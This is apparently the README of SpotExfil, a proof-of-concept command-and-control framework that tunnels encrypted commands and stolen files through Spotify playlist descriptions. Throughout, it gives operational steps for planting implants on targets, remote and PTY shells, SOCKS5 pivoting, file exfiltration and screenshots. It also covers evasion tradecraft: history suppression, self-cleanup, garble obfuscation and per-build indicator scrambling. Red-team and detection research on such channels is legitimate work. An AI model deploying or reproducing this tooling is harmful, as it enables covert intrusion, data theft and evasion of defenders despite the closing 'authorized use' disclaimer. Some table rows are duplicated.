A proof-of-concept covert channel and C2 framework that uses Spotify playlist descriptions as a communication medium, 512 characters at a time.
Implemented in Go — a single standalone binary with no runtime dependencies.
More info at Exfiltration Series: SpotExfil
- AES-256-GCM encryption with PBKDF2-SHA256 key derivation (480K iterations)
- Rotating HMAC tags -- C2 playlist identifiers rotate hourly, preventing long-term traffic correlation
- Auto-generated session keys -- implant generates a NATO-phonetic passphrase on startup (never in argv)
- Session binding -- all commands/results tied to a crypto-random session ID, preventing replay
- Timestamp validation -- commands older than 5 minutes are rejected
- HMAC-SHA256 client IDs -- 64-bit collision-resistant agent identifiers (keyed, unforgeable)
- BLAKE2b integrity verification on encode and decode
- Gzip compression reduces payload size 60-80% for text
- Multi-agent support --
agents,attach <id>,detachfor managing multiple implants - Full PTY shell (
pty) -- a real pseudo-terminal over the C2 channel: tab completion, vim, top, Ctrl+C, window resize. Keystrokes are batched to save round trips; falls back gracefully toishellif the platform can't allocate a PTY - Interactive shell (
ishell) -- line-based remote shell with command queuing, auto-detects bash/powershell - Direct shell on attach -- type commands directly when attached (no
shellprefix needed) - SOCKS5 tunnel (
tunnel [port]) -- pivot through the implant: local SOCKS5 proxy multiplexed over the C2 channel, reach hosts only the target can see - Live-session mode (
--live) -- edit-in-place session playlists: 1 API call per message instead of 2, direct-GET polling, traffic that looks like normal playlist editing - Auto check-in -- implants announce themselves, operator sees connections in real-time
- Modules: shell (exec commands), exfil (read files), push (write files to target), screenshot (screen capture), sysinfo (OS/network recon)
- Smart rate limiting -- exponential backoff, human-readable error messages, auto-recovery
- Parallel uploads -- bounded worker pool (4 workers) with per-chunk retries, ~4x faster large sends
- Cached cover traffic -- filler-track artist lookup resolved once per process, not per playlist
- Cover-image channel (
send --cover) -- hide a whole payload (~200KB) in ONE playlist cover image instead of thousands of descriptions
- Standalone binary -- no runtime needed, static Go build
- Cross-platform binaries -- macOS (Apple Silicon), Linux (x64), Windows (x64), stripped
- Stealth -- cover playlist names, random filler tracks, jittered polling, aggressive cleanup
- Config file support (
~/.spotexfil.conf) so env vars are optional
Spotify playlists are the mailbox: the operator and implant never talk to each other directly — they read and write encrypted chunks in playlist descriptions on a shared Spotify account, and delete each playlist right after reading it.
OPERATOR SPOTIFY ACCOUNT IMPLANT
(c2-operator) private playlists = mailbox (c2-implant)
│ │ │
│ │◄──── 1. checkin ──────────────│ jittered
│ │ ("res" box, master key, │ poll loop
│◄─── poll ─────────────────│ hostname, os, user, │ starts
│ sees new agent │ X25519 pubkey) │
│ │ │
│──── 2. keyexchange ──────►│───── poll ───────────────────►│
│ ("cmd" box, master key, │ │ 3. ECDH +
│ operator X25519 pubkey)│ │ HKDF
│ │ │
│═════════ both sides now share a session key ══════════════│
│ (forward secrecy established) │
│ │ │
│──── 4. command ──────────►│───── poll ───────────────────►│
│ ("cmd" box, session key,│ │ 5. execute
│ seq, 5-min timestamp, │ │ module:
│ session binding) │ │ shell /
│ │ │ exfil /
│ │◄──── 6. result ───────────────│ push /
│◄─── poll ─────────────────│ ("res" box, session key) │ screenshot
│ 7. decrypt, display, │ │
│ store in history │ │
│ │ │
▼ playlists are deleted immediately ▼
after being read (both sides)
Every message — command, result, checkin — goes through the same pipeline:
JSON ──► gzip ──► BLAKE2b ──► AES-256-GCM ──► base64 ──► split into
(1) (2) (3) (4) (5) ≤300-char chunks
│
one playlist per chunk ▼
┌────────────────────────────────────────────────────────┐
│ description = │
│ ┌──────────────────────┐ ┌──────────────────────────┐ │
│ │ HMAC tag (12 hex) │ │ base64( AES-256-GCM( │ │
│ │ rotates hourly, │ │ {"c":channel, │ │
│ │ identifies our │ │ "i":chunk#, │ │
│ │ playlists without │ │ "seq":msg#} │ │
│ │ decrypting │ │ + chunk data ) ) │ │
│ └──────────────────────┘ └──────────────────────────┘ │
└────────────────────────────────────────────────────────┘
(1) message as JSON (4) PBKDF2(master key) or raw session key
(2) gzip, skipped if no win (5) the 512-char Spotify description limit
(3) integrity hash is what caps chunks at ~300 chars
Why two encryption layers? The message layer (4) protects the payload end-to-end (master key before key exchange, X25519 session key after). The chunk layer protects the metadata (channel, chunk index, seq) with a fast HMAC-derived key, so a reader can identify and order chunks by tag prefix alone — one playlist-listing API call, no per-playlist fetches.
File exfiltration mode (send/receive) uses the same pipeline without
the C2 envelope: chunks are stored with a zero-width-space marker and
{"i":N} ordering metadata, under innocuous cover playlist names.
spotexfil/
├── go/
│ ├── cmd/spotexfil/ # Cobra CLI entrypoint
│ ├── internal/
│ │ ├── crypto/ # AES-GCM, PBKDF2, BLAKE2b, HMAC, X25519
│ │ │ └── testdata/ # Crypto test vectors
│ │ ├── encoding/ # File exfil pipeline
│ │ ├── protocol/ # C2 messages, encrypted descriptions
│ │ ├── shared/ # Embedded protocol.json (constants)
│ │ ├── spotify/ # zmb3/spotify/v2 wrapper
│ │ └── c2/ # Implant, operator, module registry
│ └── go.mod
├── Makefile # Build + test
└── README.md
- Register an app at Spotify Developer Dashboard
- Add redirect URI (e.g.,
http://127.0.0.1:8888/callback) - Provide credentials via env vars or
~/.spotexfil.conf:
export SPOTIFY_USERNAME=YourUsername
export SPOTIFY_CLIENT_ID=your_client_id
export SPOTIFY_CLIENT_SECRET=your_client_secret
export SPOTIFY_REDIRECTURI=http://127.0.0.1:8888/callbackOr create ~/.spotexfil.conf:
[spotify]
username = YourUsername
client_id = your_client_id
client_secret = your_client_secret
redirect_uri = http://127.0.0.1:8888/callbackDownload from dist/:
| Variant | Contents | darwin | linux | windows |
|---|---|---|---|---|
Full CLI (spotexfil-*) |
operator console + implant + exfil send/receive | 11.2 MB | 8.6 MB | 8.2 MB |
Implant (spotexfil-implant-*) |
implant only, all modules (no operator/readline/cobra) | 9.9 MB | 8.1 MB | 7.6 MB |
Implant-min (spotexfil-implant-min-*) |
implant without the screenshot module | 9.8 MB | 7.2 MB | 7.4 MB |
Obfuscated (spotexfil-obf-* / -obf-implant-*) |
garble + per-seed IOCs | ~20 MB | ~17 MB | ~17 MB |
The operator needs the full CLI; targets only need an implant variant.
make all # Full CLI for all platforms
make implant # Minimal implant (no operator console)
make implant-min # Minimal implant without screenshot module
make obfuscated # Obfuscated full CLI (garble + per-seed IOCs)
make obfuscated-implant # Obfuscated minimal implant — smallest deployable
make test # Run the test suite (with race detector)
make lint # go vetmake all # Cross-compile binaries for all platforms
make test # Run the test suite (with race detector)
make lint # go vet
make obfuscated # Opsec build: garble + per-seed IOCs (see below)make obfuscated (full CLI) and make obfuscated-implant (minimal implant) produce hardened binaries:
- garble (with
-tiny -literals, both validated against the full test suite) scrambles package paths and function names, encrypts string literals, and strips module info (go version -mreturns "unknown") - Per-seed IOCs:
scripts/sanitize_protocol.pyrewrites the cover names, filler artists, and crypto labels in the embeddedprotocol.jsonwith seed-derived values (restored after the build), so no two builds share static indicators — verified: zero occurrences ofspotexfil, cover names, or label strings in the binary
make obfuscated # random seed, full CLI
make obfuscated-implant # random seed, minimal implant
make obfuscated SEED=xyz # reproducible
make upx-pack # optional UPX pass on implant binaries (see note)Note
UPX cuts implant binaries by ~60% (9.8MB → ~3.5MB), but packed binaries are a classic AV heuristic. Use it for transport size (e.g. delivery through the push module), not for reduced detectability.
Warning
Operator and implants must come from the same obfuscated build — the sanitized crypto labels differ from stock builds and from other seeds.
SpotExfil works standalone (built-in operator console, see Usage) or as a transport for full C2 frameworks:
| Framework | Integration | Status |
|---|---|---|
| Mythic (SpecterOps) | spotify C2 Profile + spotexfil Payload Type — full Mythic UI, tasking, and operator workflow over playlist channels. Byte-exact AESPSK crypto interop, gRPC push streaming, cross-platform agent (macOS arm64, Linux x64, Windows x64). |
✅ Code + docs complete — see docs/MYTHIC.md. Upstream listing PR after lab validation. |
| Sliver (Bishop Fox) | Possible via a custom implant transport (protobuf envelopes) | 🔭 Explored — not implemented |
| Cobalt Strike (Fortra) | Would require Beacon protocol reimplementation | 🔭 Explored — not planned |
Why Mythic first: it's the only major framework where third-party transports
are a first-class, documented extension point — the profile plugs our
pkg/{spotify,protocol,crypto} engine into Mythic's tasking pipeline without
modifying Mythic itself, and payloads build straight from the Mythic UI.
Want another framework? The transport layer (go/pkg/) is deliberately
framework-agnostic — envelopes in, encrypted playlist chunks out.
From zero to a working remote shell over Spotify playlists:
1. One-time Spotify setup (see Prerequisites): create a
developer app, then put the credentials in ~/.spotexfil.conf on both the
operator machine and the target:
[spotify]
username = YourUsername
client_id = your_client_id
client_secret = your_client_secret
redirect_uri = http://127.0.0.1:8888/callback2. Stage a token on the target. Authenticate once on your own machine (any
spotexfil command triggers the browser OAuth flow and writes .cache-<username>),
then copy that file to the target — or export it inline:
# on the operator machine: mint the token once
./spotexfil clean
# deliver it to the target however you like, then there:
export SPOTIFY_TOKEN_JSON="$(cat .cache-YourUsername)"3. Start the implant on the target (quiet mode, key to file — nothing sensitive on stdout):
./spotexfil-implant-darwin-arm64 --quiet --key-file /tmp/.sk --interval 30 --jitter 104. Start the operator with the key the implant generated:
./spotexfil c2-operator -k "$(cat /tmp/.sk)" --live5. Operate. Within ~60s the implant checks in and forward secrecy negotiates automatically:
[+] New implant: Kepler
alias : Kepler
client_id : 7f3a2b1c
hostname : target.local
os : darwin/arm64
user : admin
[15:30] c2> attach kepler
[*] Attached to Kepler (target.local)
[15:30] Kepler@target.local > whoami
[*] Command queued: seq=1 module=shell
--- Result seq=1 [shell] status=ok ---
admin
[15:31] Kepler@target.local > sysinfo # OS/network recon
[15:32] Kepler@target.local > exfil /etc/hosts # pull a file
[15:33] Kepler@target.local > push ./tool.sh /tmp/tool.sh # stage a file
[15:34] Kepler@target.local > screenshot # saved locally as JPEG
[15:35] Kepler@target.local > pty # full interactive terminal
[*] PTY session active — Ctrl+] to exit
admin@target.local:~$ vim /tmp/notes.txt # yes, really
admin@target.local:~$ ^]
[*] PTY session closed
[15:40] Kepler@target.local > tunnel 1080 # SOCKS5 pivot via the implant
[*] SOCKS5 tunnel listening on 127.0.0.1:1080 (via Kepler)
[15:45] Kepler@target.local > history # everything is journaled
[15:46] Kepler@target.local > detach
[15:46] c2> clean # wipe all C2 playlists
[15:47] c2> quit # implants get an encrypted shutdown
Prefer less output and fewer API calls? Run both sides with --live
(edit-in-place session playlists). Prefer stealth over speed? Keep the
default create/delete churn, raise --interval, and use
--modules shell,exfil,sysinfo,push to leave screenshot off the target.
# Terminal 1: Start implant (auto-generates session key)
# Token must be pre-staged: SPOTIFY_TOKEN_JSON, --token-file, or .cache file.
# The implant NEVER runs interactive OAuth and NEVER writes a token cache.
./spotexfil-darwin-arm64 c2-implant --interval 30 --jitter 10
# Opsec flags:
# --quiet / -q suppress non-error output
# --modules shell,exfil module allowlist (e.g. disable screenshot
# to avoid the macOS Screen Recording prompt)
# --token-file tok.json pre-staged token (or SPOTIFY_TOKEN_JSON env)
# Output:
# [*] Session key: bravo-kilo-seven-echo-tango-lima
# [*] Use this key to start the operator:
# ./spotexfil c2-operator -k "bravo-kilo-seven-echo-tango-lima"
# Interval : 20-40s | Session : a3f2b7c91e04
# Client ID : 7f3a2b1c9e04d8f1
# X25519 : eb4debc295a5954dda3d...
# [*] Implant active — polling for commands
# [+] Check-in sent (7f3a2b1c) at 15:30:05
# [+] Forward secrecy established at 15:30:20
# Terminal 2: Operator (use the key shown by implant)
./spotexfil-darwin-arm64 c2-operator -k "bravo-kilo-seven-echo-tango-lima" --poll-interval 30
# Alternative: key from file or env var
./spotexfil-darwin-arm64 c2-operator --key-file /path/to/keyfile
SPOTEXFIL_KEY="bravo-kilo-seven-echo-tango-lima" ./spotexfil-darwin-arm64 c2-operator ┌─────────────────────────────────────────────┐
│ ___ _ ___ __ _ _ │
│ / __|_ __ ___ | |_| __|__ _/ _(_) | │
│ \__ \ '_ \/ _ \| _| _|\ \ / _| | | │
│ |___/ .__/\___/ \__|___/_\_\_| |_|_|_| │
│ |_| │
│ C2 OPERATOR CONSOLE │
└─────────────────────────────────────────────┘
Polling every 30s | Type 'help' for commands
[+] New implant: Kepler
alias : Kepler
client_id : 7f3a2b1c
hostname : target.local
os : darwin/arm64
user : admin
timestamp : 2026-04-18 15:30:05
[15:30] c2> agents
NAME ID OS HOSTNAME USER CONNECTED
---------- ---------- -------------- ---------------- ---------- -------------------
Kepler 7f3a2b1c darwin/arm64 target.local admin 2026-04-18 15:30:05
[15:30] c2> attach kepler
[*] Attached to Kepler (target.local)
[15:30] Kepler@target.local > whoami
[*] Command queued: seq=1 module=shell
[15:30] 7f3a2b1c@target.local > uname -a
[*] Command queued: seq=2 module=shell
[15:30] 7f3a2b1c@target.local > sysinfo
[*] Command queued: seq=3 module=sysinfo
[15:30] 7f3a2b1c@target.local > results
[15:30] 7f3a2b1c@target.local > detach
[*] Detached from 7f3a2b1c9e04d8f1 (target.local)
[15:31] c2>
[15:31] 7f3a2b1c@target.local > ishell
[*] Interactive shell to target.local (darwin/arm64)
[*] Shell: bash | Commands queue automatically | 'quit' to exit
7f3a2b1c@target.local $ ls -la /tmp
-> queued seq=4
7f3a2b1c@target.local $ cat /etc/hosts
-> queued seq=5
[queued: 2] 7f3a2b1c@target.local $
$ ls -la /tmp
drwxrwxrwt 12 root wheel 384 Apr 18 15:31 .
...
$ cat /etc/hosts
127.0.0.1 localhost
7f3a2b1c@target.local $ quit
[*] Leaving interactive shell
Agent management:
agents List connected implants
attach <name> Attach by name or ID (e.g. 'attach kepler' or 'attach 7f3a')
detach Detach from current agent
Commands (when attached, type directly or use prefix):
pty Full interactive terminal (Ctrl+] to exit)
ishell Line-based remote shell (lighter than pty)
<any command> Sent as shell command to attached agent
exfil <path> Exfiltrate a file
push <l> <r> Push local file <l> to remote path <r>
screenshot [n] Capture the target's screen (saved as JPEG locally)
tunnel [port] SOCKS5 proxy via the implant (default 127.0.0.1:1080)
sysinfo Gather system info
History:
history Show command history (last 20, persisted across restarts)
shellhist Alias for history
result <seq> Show detailed result for a specific seq number
Other:
results Poll for pending results
wait <seq> Wait for a specific result
status Show agents and pending commands
clean Remove all C2 playlists
help Show this help
quit / exit Exit the console
# Send (encrypted + compressed, cover names)
./spotexfil-darwin-arm64 send -f /etc/resolv.conf -k "passphrase"
# Receive and decrypt
./spotexfil-darwin-arm64 receive -k "passphrase" -o output.txt
# Cover-image channel: ONE playlist cover instead of thousands of
# descriptions (~200KB capacity; fails cleanly if Spotify re-encodes)
./spotexfil-darwin-arm64 send -f secrets.zip -k "passphrase" --cover
./spotexfil-darwin-arm64 receive -k "passphrase" --cover -o secrets.zip
# Clean up
./spotexfil-darwin-arm64 clean# Both sides opt in with --live: one long-lived session playlist per
# direction, edited in place. 1 API call per message, direct-GET polls,
# and no create/delete burst signature. Falls back to classic mode
# automatically if the session playlist is lost.
./spotexfil-darwin-arm64 c2-implant --live --key-file /tmp/k
./spotexfil-darwin-arm64 c2-operator -k "$(cat /tmp/k)" --live[15:40] Kepler@target.local > tunnel 1080
[*] SOCKS5 tunnel listening on 127.0.0.1:1080 (via Kepler)
# In another terminal — reach hosts only the implant can see:
curl --socks5 127.0.0.1:1080 http://intranet.target.corp/
[15:42] Kepler@target.local > pty
[*] PTY session active — Ctrl+] to exit
admin@target.local:~$ cd /var<TAB> # real tab completion
admin@target.local:/var$ top # full-screen programs work
admin@target.local:/var$ vim notes.txt # so does vim
admin@target.local:/var$ ^] # Ctrl+] exits
[*] PTY session closed
A real pseudo-terminal (creack/pty: bash/sh on Unix, ConPTY on Windows)
streamed over the C2 channel. Keystrokes are batched (400ms / 200 bytes)
to conserve messages, terminal resizes are forwarded (SIGWINCH), and the
session runs with HISTFILE=/dev/null. Pair with --live for the most
responsive experience; falls back to ishell if no PTY is available.
Proof it's a real terminal, not a pipe — from the integration test
(go test -v -run PtyShowcase ./internal/c2/):
[operator -> implant] open (cols=100 rows=30)
[implant -> operator] open-ok
[operator types] tty
[terminal output]
/dev/ttys005 <- kernel allocated a real PTY device
[operator types] test -t 0 && echo 'stdin IS a tty'
[terminal output]
stdin IS a tty <- bash confirms fd 0 is a terminal
[operator types] echo "term=$TERM size=$(stty size)"
[terminal output]
term=xterm-256color size=30 100 <- TERM + window size as requested
[operator resizes window] 132x43
[terminal output]
stty size -> 43 132 <- resize reached the live PTY
- All payloads: AES-256-GCM with PBKDF2-SHA256 (480K iterations)
- C2 metadata: AES-256-GCM with HMAC-derived fast key (no PBKDF2 per-playlist)
- Forward secrecy: X25519 ECDH key exchange + HKDF-SHA256 session keys
- Integrity: BLAKE2b-160 hash verified on decode
| Feature | Description |
|---|---|
| Forward secrecy | X25519 ECDH per session — past traffic undecryptable even if master key leaks |
| Rotating tags | C2 playlist identifiers rotate hourly via time-windowed HMAC |
| Auto-generated keys | Implant generates NATO-phonetic passphrase (never in argv/ps) |
| Session binding | Crypto-random session ID prevents replay and cross-session leaks |
| Timestamp validation | Commands older than 5 minutes rejected |
| HMAC-SHA256 client IDs | 64-bit keyed identifiers (unforgeable without the key) |
| Heartbeat checkins | Implant re-announces every 60s so new operators see it within a minute |
| Aggressive cleanup | Playlists deleted after read; orphaned results from dead sessions cleaned |
| Plugin modules | Modules loadable as .so plugins at runtime (linux/macOS) |
| Async execution | Commands run in goroutines; large exfils don't block command processing |
| Shutdown signal | Operator broadcasts encrypted shutdown on exit, implants auto-reconnect |
| Cover names | Innocuous playlist names ("Chill Vibes #a3f2") |
| Jittered polling | Configurable interval + random jitter |
| Exponential backoff | Independent read/write backoff with auto-recovery |
| Random OAuth state | No tool fingerprint in OAuth flow |
Measures to minimize artifacts left on the implant host if an admin investigates:
| Measure | Detail |
|---|---|
| No interactive OAuth on target | Implant fails closed unless a token is pre-staged (SPOTIFY_TOKEN_JSON, --token-file, or .cache) — no browser, no local callback listener |
| No token cache on target | Implant never writes .cache-<username> (in-memory token only) |
| Self-cleanup on exit | SIGINT/SIGTERM → best-effort cleanup of its command queue + session key zeroing (Go/GC caveat: string keys can't be reliably wiped) |
| Quiet mode | --quiet suppresses non-error stdout (scrollback/syslog crumbs) |
| Module allowlist | --modules shell,exfil,... disables noisy modules — e.g. screenshot triggers a macOS Screen Recording (TCC) prompt |
| Shell env hardening | Commands run with HISTFILE=/dev/null HISTSIZE=0 |
| Persistent shell worker | One long-lived shell child per implant — no sh -c exec-per-command telemetry burst; cd/env persist across commands |
| Key delivery | --key-file writes the session key 0600 instead of stdout; --quiet requires it. Prefer --token-file over SPOTIFY_TOKEN_JSON — env vars are readable via /proc/PID/environ (Linux), ps eww (macOS), Process Explorer (Windows) |
| Key zeroing | Session keys zeroed on rotation, reconnect, and exit (best-effort; Go strings can't be wiped) |
| Obfuscated builds | make obfuscated — garble name/literal obfuscation + per-seed cover names and crypto labels (no shared IOCs between builds) |
| Trimmed binaries | Built with -trimpath -buildvcs=false -s -w — no local build paths embedded |
| Auto-generated keys | Session key never appears in argv/ps |
| Key delivery | --key-file writes the session key 0600 instead of stdout; --quiet requires it. Prefer --token-file over SPOTIFY_TOKEN_JSON — env vars are readable via /proc/PID/environ (Linux), ps eww (macOS), Process Explorer (Windows) |
| Key zeroing | Session keys zeroed on rotation, reconnect, and exit (best-effort; Go strings can't be wiped) |
Note: this PoC hides traffic content, not presence. On a host where the user never runs Spotify, connections to api.spotify.com are themselves an anomaly.
- Operator restart: implant heartbeats every 60s, new operator picks it up automatically
- Operator Ctrl+C (no clean shutdown): implant continues polling, re-checkins on heartbeat
- Wrong key then correct key: implant is invisible to wrong-key operator, visible to correct-key operator within 60s
- Forward secrecy trade-off: results from a dead operator session are marked
lostin history (encrypted with prior X25519 keys — by design). Re-send the command after reconnecting. Opt-in workaround:c2-operator --persist-sessionstores session keys encrypted on disk (~/.spotexfil-session, 0600, AES-GCM with an HMAC-derived key from the master key) so a restarted operator can still decrypt in-flight results — at the cost of forward secrecy across restarts. - Persistent history:
~/.spotexfil-history.jsonsurvives operator restarts. Usehistoryto see all past commands/results,result <seq>for full details including output and latency.
Spotify rate limits: ~180 requests per rolling 30-second window per app.
| Before | After | |
|---|---|---|
| API calls per poll | 1 listing + N GetPlaylist (80+ on a real account) = 81 calls | 1 listing + client-side tag filter = 1-3 calls |
| API calls per exfil read/clean | 1 listing + N GetPlaylist = 81 calls | 1 listing, description read client-side = 1-3 calls |
| API calls per playlist created | 1 create + search + top-tracks + add-tracks = 4 calls | 1 create + 1 add-tracks (artist lookup cached once per process) = 2 calls |
| Large payload upload | Sequential, 100ms sleep per chunk | 4 parallel workers, per-chunk retry with server-honored backoff |
| Effective req/30s at --interval 30 | ~160 (near limit) | ~2 (well under) |
| Min safe interval | 60s+ | 20s |
| Write block behavior | Everything backs off, implant goes deaf | Reads keep polling, only writes back off independently |
The SimplePlaylist listing already includes the description field. Both C2 playlists (encrypted HMAC tag prefix) and exfil payload playlists (zero-width marker) are identified client-side from the listing — no per-playlist GetPlaylist calls. Personal playlists (80+) are skipped with zero API cost. A full-details fetch only happens as a fallback when a listing description is empty.
Filler-track cover traffic is resolved once per process (one artist search + one top-tracks call), then a shuffled subset of the cached track IDs is added to each playlist — previously 3 API calls per playlist created.
Uploads use a bounded worker pool (4 workers) with per-chunk retries: a failed chunk is retried up to 3 times, honoring the server-provided Retry-After when present, and no longer aborts the whole payload.
Read (polling for commands) and write (checkin, sending results) have independent backoff timers. A Spotify write block doesn't stop the implant from receiving and executing commands.
- Private playlists with names like "Morning Coffee #b7c2"
- Descriptions are opaque encrypted blobs (HMAC tag + AES-GCM ciphertext)
- No plaintext metadata, no sequential naming, no detectable patterns
- Playlists are deleted within seconds of being read
- HMAC tag rotates hourly — no permanent correlation across time windows
make test # Run all tests (go test -race)Test coverage includes:
- Crypto: AES-GCM, PBKDF2, BLAKE2b, HMAC, X25519 ECDH, HKDF session key derivation
- Forward secrecy: full key exchange simulation, session isolation, forward secrecy property verification
- Protocol resilience: raw encode/decode, master-key fallback, operator restart scenario, implant fallback decryption
- Module registry: dynamic register/unregister, concurrent access (race detector)
- Operator concurrency: shared-state locking (agents, session keys, history) verified with
-race; history index, cap, and save debouncing - Integration: full C2 roundtrips, multi-command queue, channel isolation, cleanup
- Stress: 100+ random payloads, concurrent encoding, edge cases
- Test vectors: crypto validation against shared vectors in
go/internal/crypto/testdata/
- ~1MB max payload (~2000 playlists)
- Large files take time (parallel workers help; still 1 playlist per 512-char chunk)
- Spotify rate limits: ~180 req/30s rolling window, write blocks can escalate to 24h
- C2 polling adds latency (configurable, default 20-60s)
This is a proof-of-concept for educational and authorized security research purposes only. Do not use for unauthorized data exfiltration or unauthorized access to computer systems. The author is not responsible for misuse.
- Account rotation support
- Additional C2 modules (persistence, clipboard)
- Multi-account relay / dead drops
- DCT-domain steganography (survives Spotify cover re-encoding)
